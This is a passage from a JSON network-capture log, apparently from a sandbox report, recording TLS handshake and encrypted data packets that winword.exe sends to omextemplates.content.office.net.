  460. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x048.7a\\xb3p9p\\x9b\\xa5\\xce\n:\\xd27?/\\x898zm\\x185\\xb2\\xed\\x9a\\x0bh.\\xc0\\\\xf2x\\xd8d(w,w0\\xff\\xe6\\\\xd1\\xc2\\x86(d\\xd6\\xd7\\xdd\\xb9j\\x14\\xf8\\xee\\xc8wu\\xb9=\\x81\\x99\n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000_xi\\x1b\\x97\\xfd\\xffl\\xc3\\xe7\\xbbs{\\x1ah|o\\xb6\\xf9\\x0c\\xec\\xb9\\xb2n2*\\x0e \\x85\\x87\\xd6\\x98qb~\\xa3\\x97\\xc7^\\x83\\x1df\\xb8h\\x1a\\xa9\\x83:"
  461. },
  462. {
  463. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x00iz\\xb2y\\xba\\x01f\\xfbk\\xd9?m\\xd2\\xa8\\x9d\\xe5d\\x84b\\x9c\\x10\\x98\\xefw\\xf7\\xeeh\\xb2\\xea}\\xc7\\xec\\xebw\\x1f\\x19z\\x956\np\\x1c\\xe1\\xcfjtz=\\x9e\\xab'\\xf5\\x1b\\xc9\\xedj\\x90`\\xf9\\x91^>8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000v\\xa96\\xca\\xe2\\x0bl<\\x1d\\x8c\\x12j>\\xd5v\\xf2\\x0b\\xd0w\\x89\\x1f\\xb6v\\x18\\xcf\\xa8\\xec\\xd6\\x0c\\xdemu\\x8cs\\xfc\\xd6\\xf9\\xa6\\xb5+\\xf8h\\xce\\xf6'h@["
  464. },
  465. {
  466. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x06\\x0c\\x07>\\xac\\xff\\xaa\\xfcg\\xcet{\t\\x81y;s\\xbc2v\\xea\\xa9\\x01\\xdf\\x15z6\\xed\\xde5\\xa2|\\xcbz\\xc6\\x91a/\\x07x\\x94\\xb7\\x06b\\xb5m\\xdf\\xd0\\xad\\x19o\\x94\\xe8\\x84\\x9c\\xfa\\xfa!\\x042:\\xe4\\xc6x\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000f*\\x0b\\xd4\\xe5\\xe5b\\xf1\\xea\t\\xe6\\x03]>8\\xbb#\\xb4}\\xa8$\\xf0]\\xb7\\xcb\\xe4\\x93\\xfc\\xf9\\x03j\t\\xc1\\x0f\\xc3\\x8d\\xd5h86w~b\\x99|2\\xac\\x1b"
  467. },
  468. {
  469. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf3\"a\\xf3o\\xea\\xd1\\x03p!&~\\xc0\\x93\\x03\t\\k4mb\\x8dr\\xdc\\xd5:='\\xda\\x90\\xd1\\xfc2b\\xca\\xfd\\xd9x\\x8f\\xe9,\\xae\\x0e\\xa04\\xc6\\xaca6\\xb9n|\\xca\\xdft\\x17&)\\x06\\xe1m\\xb6e\\xad\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000$\\xd9k\\xcfa*\\x9eo\\xf39e\\xb1e\\xb6\\x1f\\xd3\\xeex\\xa8{t\\x9f*\\x13&\\xdc>_%\\x8d~w\\xb9^p\\xf8`\\xbfdf\\x11*\\x1a[p\\xb2,0"
  470. },
  471. {
  472. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb4\\xa5x\\xb4j\\xd8?\\x19ac\\xc4\"\\xf2e`;\\xd4\\xbch\\x1e\\x0f\\x14j\\xb7h\\xf4\\xf8\\xfc\\xaf(]\\xffxj\\xab\\x9aa\\x98\\xa2^e1e/g\\xfa\\x93\\xc6lm\\xda\t'7\\x94\\xea\\x8d*\\xb0x\\xff\\x9dp\\x13\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x83'\\x15\\x9a\n:\\xff\\x9a\\xc4\\x11q^\\x1a\t\\x0c\\xd0\\x87\\xb8\\xc4\\xa6\\x7f\\xe3,\\xa2\\xe6\\xb8\\xf3\\xbdnk\\xdd\\x13\\x0bkm\\xe2t\\xe6\\x9ai2h i\\xf7\\xdf\\x84`"
  473. },
  474. {
  475. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xccr\\xbc\\xf9\\xf8t\\xe8\\x84z\\xce\\xe3\\xa9/\\xfc\\xb1@\rc\\x03\\xedg\\x91m\\xeb;%\\xb1\\x0c#\\xb1\\xd1~5l6;\\x9as\\x1d\\x18\\x97\\x8f\\x87\\xe3ca\\xed\\x87o\\xd9c\\xa5\\xefn\\xaa\\x04\\xd3\\xa3\\x0c.\\xd1sya\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xef\\xa4uof5\\xb5\\x14\\x86\\xe6\\x84\\x81\\x95ybn\\xcdf\\x9b\\xfd\\xdb\\xb1\\xf5\\xde\\\\xe1\\xc6k~\\xc5<\\xad\\x062\\xd3c\\x9f\\x15yoxd\\xa8r{\\xb8r]"
  476. },
  477. {
  478. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9ca\\x91\\xd0\\xa4\\xa9fd\\xb6wg\\xe7)$\\xd9s\\xcf\\x9a\\9\\xcajb\\x16\\xa3\\x00\\xb4\\x9d\\x0c\\xb2hg\\xd8\\x84\\x154\\x9f\\xd0j\\xc6w\\x12b\\xaf>\\xd5\\x87h$yi\\xcc\\xaa\\x85\\x87\\xde1\\xa7\\x1cca\\xd7\\xfc\\xba\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcd\\xeb\\x14\\x00! \\xf5\n\\xa4\\x03\\x9d\\x05a\\xfe3o\\xf5\\x96-q\\xba\\xd6\\xa8\nc\\x8b\\xe6b\\xccp~^\\x1e\\xd54m\\x7fc\\xf5\\x91\\xbe\\xf8i/\\xb1n\\xc8\\xc2"
  479. },
  480. {
  481. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xafcg+n)\\x00\\xef\\xf3\\x13\\xa7g 5a\\xc29h\\x00\\x0c\\xc7kj/\\x84\\xe4\\xb1\\xfcf\\xa1\\xfe+xz\\xd1\\x96\\xadm8*\\xa1|\\x05p\\xe3\\xc6\\x1e\\xfb\\xf5\\x93ez\\xf7?\\xaf\\x1f\\xc5\\xf7\\xc6\\x8az\\x9c\\xafj\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x88f\\xb7\\xa2\\xb5\\xd6\\xfc\\x0f\\xcb>l\\xe9\\x0c\\xed\\xf8u\\xf7%\\xea\\xdf\\x87bhs\\xc0kt\\xb4_\\xd4\\xfa#v\\x9d\\x1e\\xe8[\\x19_`\\xb9[\\xc6\\xbe!5ju"
  482. },
  483. {
  484. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04j\\xb7=\\x02\\x8cz\\xa6\\x06\\x81\\xe3\\xe4\\xd6>\\xe7\\xbe\\xe3\\x0b]\\xf0z\\xddh%\\xc1\\x89\\x19\\x0em\\x98-\\xa2\\xf7\\x17\\xd7\\x01\\x02\\xa0\\xd7\\xfelfn\\xd0\\x19e\\x97\\xe1\\xd1\\xa2gmc\\x87\r\\xde\\xc3\\xbc\\xe5\\x9e0\\x13\\xfe\\x89\\xec\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000{\\xe1q.]\\xa6\\xb58x\\xca\\x83\\x86\\x85\\xd0y+\\\\x87\\x1f\\xd2b\\xab\\xcf\\x8etd\\xfa\\xd0ot\\xafz$\\xefh]/em\\x1a\\xb3\\x05\\xe1\\xa7\\x82&za"
  485. },
  486. {
  487. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o\\xd9\\x96\\x04\\xa6\\xf7\\x01\\xff.\\x03\\xf4y\\xefw<\\xe0\\xa7p\\xd6q\\xb3\\xd4\\xc2\\xdc3d\\x11s\\xdbi\\xd0\\xd3\\xf7\\x0e[9\\xab\\xd0\\xd4\\x83 h\\x01\\xd7\\x0e\\x89\\xad\\x84x\\xc5\\xb14\\x15q\"\\xbf\\xc4q|\\xc1\\xc0kb\\x8b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000`\\x0c\\xda\\xfa\\x10\\x11;\\xff\\xa6\\x85\\xabu\\x03\\x96e\\xe8\\xc1\\x16e\\xf1?\\xa7\\x11\\xcb\\xfa;\\x19\\x99-\\xd5h\\xfd\\x90\\xe1b;\\x81\\xef=ki\\xfa4\\x84f\\xe7\\xf23"
  488. },
  489. {
  490. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04u\\x97\\xa3\\x01\\x94\\x8a&\\x00\\xffk\\xbd\\x96rx\\x7f\\xc2\\xb4?f5\\x94\\xdav\\x82\\x0fv\\xab\\x8d\\x0f-\\x04\\xe0\\xbc\\\\x0e\\xcean\\xd5\\xd8\\x15t%\\xd1\\xb6\\xba\\xcfyqt\\xa0\\x97\\xb7\\xa5\\x9cm\n\\x01&r\\xfak\\x93\\xaf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbf7\\xa8\\xf4\\xe5ao\\x82\\x07h\\xdd\\xa8\\xdf\\x1e2\\xd8 ;0\\x81\\xee\\xb3\\x85rr\\x12\\xb8\\xdb!!\\x85\\xf0\\x18]l\\x1eye\\x84\\x05\\xea\\x97\\x97\\xf7(\\xf7\\x8c\\xc5"
  491. },
  492. {
  493. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa7\\xab\\x84y(\\xc3\\xd94w\\x1c\\xba\\xdb\\x9e&z\\x08\\xc2\\xd8rc\"v1a\\x8c\\x85\\xfe5\\xc2\\x05q<\\xa0 \\xe6e\\xdcmj\\x16\\xebz)\\xa3\\xfe\\x19\\f\\xbe\\xb6\\xde\\xa1\\x9c\\x05hup :8\\xff_\\xea3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x12q\\xdb\\xbf\\x9d\\x03\\x07 z\\xc2;\\xdd\\xa1\\xa8r\\x88\\x99%\\xb6\\xb3\\x93\\xa8\\x7f\\xd3\\xab\\xbe\\xc5u\\xcd\\x08b\\xa3\\x98\\xadk]\\x84\\x1a:\\xb8z\\x88,\\xd2\\x17\\xbf\no"
  494. },
  495. {
  496. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa4\\xf1\\x91\\x8dg\\xb61eh?g\\xf0r\\xa9\\xa1\\xb5\\x1e\tn\\x95\\xfc\\xba4z\n\\x0el#\\x9bpa{wbv\\xc5$\\xa5\\x90\\x8d\\x8ee\\x19k\\xcd\\x1c\\xdes\\xed\\xb2\\xd3\\x1d\\x91\\x14\\xfa\\x05&a\\xf4\\x12(f\\x1e\\xee\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1d8\\x9ej\\xd6m\\xef\\xaca\\x83\\xc5\\xa3\\xbc>\\xb6\\xf2\\xf6\\x02\\xc8\\x7fs\\x12\\xe61\\xd1*\\xa4\\xc4\\x0f\\x97m\\x9b\\x16\\xcdq\n\\xb5q\\xd3\\x8e\\x8f\\xfe\\x18\\xa0d\\xe4{\\xc8"
  497. },
  498. {
  499. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xeb\\xfa9usy\\xe3\\xcc\\xdd\\xab\\xd2\\xbb\\xc5\\x04\\xcb\\xc8\\xec\\xd2\\xb2\\x1f#\\x7f\\x9b\\x1e{\\xbd\\x81\\xd30g\\xbf\\x84\\xb2\\xfa\\x89\\x80\\xb5^\\xdc\\xb0\\x93\\x15\\x9f\\xbc\\xc6:+*\\xf3\\xed~\\xc83\\x89\\xf5b$^\\x1a:\\xd4\\x0cv\\xe1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000 j\\xdb\\x94\\x0cp\n\\x1db\\x88\\x16<\\x11\\xe0y\\xd3\\xf5\\xf7\\x1e\\xfd\\x84z\\x03\\xb4g\\xcd8e\\x02r\\x0blu\\x9f\\xf1\\x94\\xc3\\x9baek\\x0c\\xd7\\xf4+\\x7f3b"
  500. },
  501. {
  502. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04{\\x14\\x9a\\xeb\\x04\\xfe\\xb4\\xafx(\\x9di\\xc4css\\x8e\\x86\\xea\\xcd\\xe0-\\x87\\x13\\xcc+\\xd3fv\\xbct1x\\x90x\\xb2\\xc5\n\\xc0\\xb6\\x16\\x14\\x16\\xe4\\x99\\xf5_\\xc4\\xa4\\x92j\\x94\\x00\\xc9\\xc9\\xd2\\xdc)9\r\\x99.\\xed\\xf3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbc\\xa8\\xf2\\xb0\\x1e\\xfa\\xadw\\xb3o<\\xda\\xd6a\\x05u\\xfe\\x08\\xe4\\xf5\\xd9m\\xe9\\xfc\\xa2\\xa0\\x06\\x93\\x17\\x0e\\xb6\\x0e/\\xd9\\x85\\xc5|lf\\x19\\xea\\x8aw1\\x06\\x91\\x0f\\xb6"
  503. },
  504. {
  505. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9\\x92\\xe7i\\xded\\xc5\\xf9s\"\\xa6\\x062\\xc1*0\\x02cp\\x16\\xc2l\\xf9\\x12x\\xb2\\xafr\\xf0*'y\\x8an\\x96\\x0ez4\\xb9\\x97\\xbd\\x05\\xa2\\xd28\\xc6}\\xbb\\x03\\xb1y\\x0f\\x84u=5\\x9c\\xa3.$\\xe5\\xe1\\x9d\\x8a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0008a\\xe4\\xad{seq]\\xf6\\xe5u\\xf7\\xcfrt\\xfe\\xb8\\xeco\\x10@\\x84\\x99xe{\\xad\\x96w\\x8ci\\x127(\\xe9g \\x17+\\x95\\xf2y\\x8d\\xc8_f\\xba"
  506. },
  507. {
  508. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04(\\xe3d\\xa3\\x14\\x03\\x16\\xaa\\x90\\xb3\\x8c\\xb51\\xdd\\xf0\\xa5g\\xc5\\x99\\x8a,a@!e\\x97\\xaf!/\\x00[\\xfb\\xcf=\\xa3e;\\x05w\\xbca\\x12l\\xd4\\xed\\x90\\xe3;|\\xf1\\xa4\\x9d|\\xd6e4\\x9c\\x04z\\xd1\\xf09\\x1d\\x96\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf2\\xb6\\x11\\xffe\\xed:\\xa5|\\x1b\\xf4k\\x8a\\xfe\\xef\\xfdu\\xb2j\\x0b\\x9f\\xbf\\x14\\xf2<\\x9a\\xae\\xc8\\x04\\xec\\xc4\\x07\\xb5,5q\\x8d\\xd2n\\x9b\\x8e\\x1e\\x83\\x85qu1\\xd2"
  509. },
  510. {
  511. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xc5f\\xd4n\\xbb0\\x06\\x16\\xd5h\\x14\\x10\\x0f9\\xe2v\\xad;\\xa5\\x1d\\xc4b\\x9d]\\xe9\\xea\ng\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  512. },
  513. {
  514. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc2\\xc5\\xb4+\\x05\\x00(c&\\xd1h$=rl\\x8b[\\xfa\\x99j\\x1cp\\xf4x@\\x9co\\xae\"c\\xa0\\x13b-\\xb5\\xc9\\xded\\xff\\x80\\x865=\\xc7\\xb9pa\\x94\\x10\\xb9k\\xb2\\xc8;>w\\x0er\\xd6l\\x10g\\x0e\\xbf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf0\\x9e$\\x8e\\x1c\\xdd\\xad\\xf2\\x1d\\x03\\x8f]\\x8d\\xb4\\xe8\\xb9-\\x96\\x8f\\xc3\\x15\\x8fyf\\xca\\xe0\\xde\\xc1\\x16og\\x90\\xd0\\x9d\\xe4s.\\xde\\xab\\x9d\\xee\\xcb\\xde\\xcf\\xf1\\xd9\\xb4\\xb8"
  515. },
  516. {
  517. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe;\\xb1o6\\xba\\xebx\\xee\\x81\\x06\\x06\\x12\\xa4qv\\xbc\\xf6\\x8f\\x1b\\xa4\\x02w!\\x90jl\\x08p\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  518. },
  519. {
  520. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04r?m\\x03#\\x8d\\xd9{\\xac\\xac\\xd9\\xdc\\x92\\xc0\\x0b\\xe9\\xb2h;\\xb8\\xd1]\\xd8d\\x80\\xc1\\xfe\\xe9du\\xc8\\xa3\\x9b\\xdb!<m\\xddh_$d\\x80\\xe0\\x95-\\xed\\xb50\\xc82fa\\xfa\\xd9\\xda\\x08\\xe9\\xff\\xe8\\x0f\\xab\\xbbv\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\\\x8e\\x8dc/x\\x88sa\\xfc\\x14\\xf7sj\\x18\\x99\\x08\\x04r\\xd3\\x8a\\xae\\x17\\x97w{~/\\x1d\\xaagl\\x7f\n\\x9dbqx\\x0f\\xc7\\xd40t<\\x97ui\\xb4"
  521. },
  522. {
  523. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04|\\x89\\xed\\x116\\xb0\\xe7\\xf9\\xf2\\xd9\\x1c\\xcc\\x1e\\x02a\\xb8\\xfb\\x93b\\xee\\x95\\xac\\xf3\\xe0\r\\xdev\\xb4\\xe4\\xd2=\\x9e!\\x15\\xc4\\xc8\\xa8\\xa3\\xcfitp\\xf2q\\xbc\\xe6\\xb5w\\xde\\xae\\xe3;\\xf5\\x1a#\\x0e\\xc9l&ct\\xdb\\xfep\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc3\\xad\\xa8\\xb1\\x19\\xcd\\xf3)\\x80\\xd8s\\xa4\\x9e\\xddm\\x8b\\x9b\\xb1i\\xc1n\\x90xy\\x1fn\\x10\\xa2&n*h\\x82\\xd1|w\\x7fg%\\xd1\\xfct\\xfe8\\xcct\\xf7\\xff"
  524. },
  525. {
  526. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x94\\x08\\x9b\\xe3u\\xfb\\xb8e\\xfe\\xd2sr\\xbcf\\xc7\\x1a5r\\x98b$\\x84m\\xf6\\xb0h\\x19\\xb9\\x03bni\\x8a\\xcf\\x7f\\\\xeel\\x13\\xd9y\\xb9h\\xa0\"$a\\x10g\\xcc^\\x90ss\\xe4\\xde\\x9b\\xb9\\xf8\\xa0\\xc7#6\\xdd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000w\\xe2\\xa4/\\xd62\\xb5\\x03\\x1f\\x9b(\\xac\\xdb\\x82\\x0c\\xde\\xcb\\xf3\\xb6\\xb5\\xe3?\\xb6\\xbe`\\xe7\\xe5x\\xabi\\xbaxb\\x04\\x8b\\xfc\\x8fy\\xe8(\\xdex\\xce?\\xc3<3\\xef"
  527. },
  528. {
  529. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd6\\xc8\\xab$c\\xeb\\x99%\\xf3\\xbdz\\xab\\x97\\xdf\\xe2\\x07\\xe2\\x02\\xbd\\xda\\x95l\r\\xcdy&;\\xed{\n\\xa8\\xde\\xb0'w\\xf9=\\x8d\\xa3\\x0f\\xed\\xdd\\xc6\\xe3\\xe8\\x19\\x8d\\x878\\xad\\xdd7?f\\xe0t\"\\x01e\\x8dvm\\xf58/]l\\xe6\\xe3\\x162uv#\\xc2\\xe6\\xd4*\\xdf\\xfc\\x05&9\\x8ee\\xc8\\x8e\\xb2d\\x05\\xbd\\x9c\\x9d\\xe7\\x8c-:%\\x0b\\xa9\\xd3y\\x8e,\\xffmpl\\xe8\\xb5\\xe1\rr\\x06\\xce\\xbb\\xf3\\xe2\\x1d\\xc8\\xf6d\\x05\\xde\\x0e#f\\xdc\\xe8\\xf3\\x12\\x96\\xef\\xa3/\\x83\\xb6\\xefg\\xdfy\\x89\\xfen\\x9b\\xab>k\\xaf\\x00\\x82fmz\"\\x04h\\xe5\\xba\\x8c}m\\xe9!\\x1bu\\xdbd\\x04\\xa4\\x9cg\r}q>)\\x15nm\\xf1\\xaf\\xc4\\x047m\\x96t\\xf3[=ty\t\\xa4hf\\x0fq\\x84\\xdd2hw\\x8d\\x8b\t\\xd3\\x81\\x187e\\xa1\\xe3\\xba\\x0cdf9\\x13\\x95@!f\\xb9\\x8c\\xcc#\\x1c\\xba\\xca\\x96\\x91jl\\xeb\\xb6\\xe4 [le\\x90\\xa3\\x86\\xafr\\xea\\x9e\\xbd\\xa2"
  530. },
  531. {
  532. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd8h\\xeey\\xff]o\\xfb\\xfar1d\\xb4\\xb9\\xb7\\xc1\\xa61\\xea9\\xeaqlpf\\xe7}\\xf2]\\xc3&\\x98i\\xd5\\x15\\x171\\xed%^h\\x9f\\xc8-\\xf9\\xefh\\xba\\xe8\\x94/8*a\\xb5\\xc24\\x17\\xee\"\\xe1s>\r%4d\\xf4\\xc0\\xf4.\\xe7\\x93$p\\x80v\\xfa\\xb9\\xb29h.\\x1ar\\xc7\\xc4\\xe3'\\xb7d\\x0b3\\x81p\\x9c\\xc0]\\xa0iy\\xd8\\xf7\\`\\x97\\x9f\\xe0x\\xc0\\xd1\\xb6y\\xd2o\\xce(\\xa1\\x8d\\xc7\\xfe\\x12\\xfc\\xe7#u\\xd1\\xc0\\xadxw\\xa33n\\xf1\\xd0\\xc0\\x97\\xe4@\tv\\xdf\\xb1\\x80\\xf7\\xd4e\\xd1h\\xa5\\xf3\\xba\\xce\\xbcv\\x16\\xb8\\xe2\\x86\\x0e\\xb4\\xb4\\x91pk\\xff\\xe3 l\\x11-n-t\\xf6\\x85a\\x1e\\xa4\\xd0\\x06i\\xda\\x0b\\xc8\\x9f\\xd8\\x87\\x17\\xab\\x8e\\xbd[\\xb0\\xbc\\xff\\x84\\xa49\\xc8,\\x84\\xffz=\\xae\\xccd\\xf0l\\xe6\\x07hth\\xa3\\x8e5}\\xd3j\\x839\\x9e\\xbd\\xc3\\x0e\\xc0\\xfc\\xca\\xe1w^e\\xfe\\x90\\xc4\\x12\\xe0\\xed\\x88\\xf9dy'\\x98\\x17\\x97\\x98\\xba"
  533. },
  534. {
  535. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04k.6\\xbe]\\xa6`\\x91\\xb6[\\xe3\\xb3\\x90\\x87\\xa0i\\xe6#byy~\\x90\\x8eudr$\\xad3\\x1ad\\xaf9\\x81\\xc1gu\\xe0'\\x82\\x93\\xba\\x00\\x8ac2\\x95\\x17\\xfdi?\\x19\\xd9\\xab\\x8a\\xc1k\\xff\\xba\\xa6\\x99\"o\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x02\\x03e\\xd7\\xcf\\x9a\\x99\\x9d0\\x08>\\x1d7\\xb2\taseg\\xdf$\\xec*\\x1b8\\x93\\x12\\x18\\xe9\\xac)\\x0f\\xf0@\\xc4\\xf3\\xf0#\\x14\\x8bm\\x9d\\xb7\\xae\\xeai\\x1f\\x94"
  536. },
  537. {
  538. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xber\\xab\\xb2\\xe4`\\xac\\xd3\\x96\n\\x93&\\xda4\\x1c\\xdb\\xf0z\\xad\\xd1d\\xe3\\xf3\\x0ev\\x02\\x18\\xd5+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  539. },
  540. {
  541. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe]\\x1e\\xb5-\\xc7\\xc3\\xc1\\x905\\xee\\xf7\\x0f\\x8e\\xd4\\x1a\\xe7i\\xf5|\\x90\\x83\\x86\\xc3\\xd0\\x15\\x99\\x17b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  542. },
  543. {
  544. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdf\\x19\\xfd\\x7f\\xe0'\\xd5\\xb4\\xc3\\xb1\\xf8\\xc3\\x82~_\r&\\x02=\\x020\\x07\\x7f;x\\xac\\x01\\x81\\x84\\xd06?;$\\xfe\\x0cc\\x88#\\xb4\\x89\\xdeh\\x81\\xee\\xfc\\x14*\\x07\\x97kx\\x8e\\x98\\xaa]`b#\\xaf\\x19/j\\xdf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdce[\\xc6t:\\x99+\\xa0\\x9c|\\x96\\x8f\\xb7{x\\xa8\\xb9\\xa0(i\\xf8\\xa6:\\xb8v\\xb8\\xd0\\xad%\\xde\\xe8\\xc2\\x7f\nk\\xa1a-\\xaa\\x08?q\\xaa\\x8ac-:"
  545. },
  546. {
  547. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\x96*@\\x1a\\x02\\xec\\x00\\xaa\\xf2m\\xd3\\xf1\\xf4\\x19\\x87\\xd8\\x9c\\xe8\\x02f\\xb5\\xd72},\\\\xa8\\xbc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  548. },
  549. {
  550. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe3e\\xf36\\xdf\\xff\\xde\\xb86\\xbb\\xf9\\xd4\\x07\\xfe\\xc4\\x8c|\\xba_f\\x8e\\x0e,\\xda\\xb9e#\\xf2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  551. },
  552. {
